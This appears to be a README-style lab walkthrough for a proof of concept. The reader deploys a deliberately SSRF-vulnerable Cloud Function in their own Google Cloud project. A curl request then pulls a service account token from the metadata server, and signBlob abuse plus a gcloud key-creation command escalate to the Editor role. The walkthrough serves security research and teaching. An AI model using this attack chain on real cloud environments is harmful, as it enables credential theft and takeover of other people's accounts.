- Create a new project in Google Cloud environment and choose it as current working one.
- Enable Cloud Resourse Manager API and Service Usage API for your project.
- Open Cloud Shell and ensure that the current project is the new created one.
- Download Terraform script and setup a vulnerable to SSRF Cloud Function:
git clone https://github.com/Horlad/signBlob_PrivEsc_PoC.git
cd signBlob_PrivEsc_PoC/terraform
terraform init -upgrade
terraform apply
- In Terraform output you can locate a URL to the vulnerable Cloud Function. Exploit SSRF to obtain a temporary token of an attached service account which use
iam.serviceAccounts.signBlob
permission to sign URLs.
curl https://YOUR.CLOUD.FUNCTION.DOMAIN/?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token&auth=Metadata-Flavor:%20Google
- The Terraform output you can also find
App Engine
andCompute Engine
default service accounts which were created automatically during the Cloud Function creation without explicit instructions. You can use them to escalate toEditor
role via the Rhinosecurity exploit. - To ensure that you obtained the priviliged service account, generate new service account key via next
gcloud
command:
gcloud iam service-accounts keys create service_account_key.json \
--iam-account=[DEFAULT_SERVICE_ACCOUNT_EMAIL] --access-token-file=[FILE_WITH_TOKEN]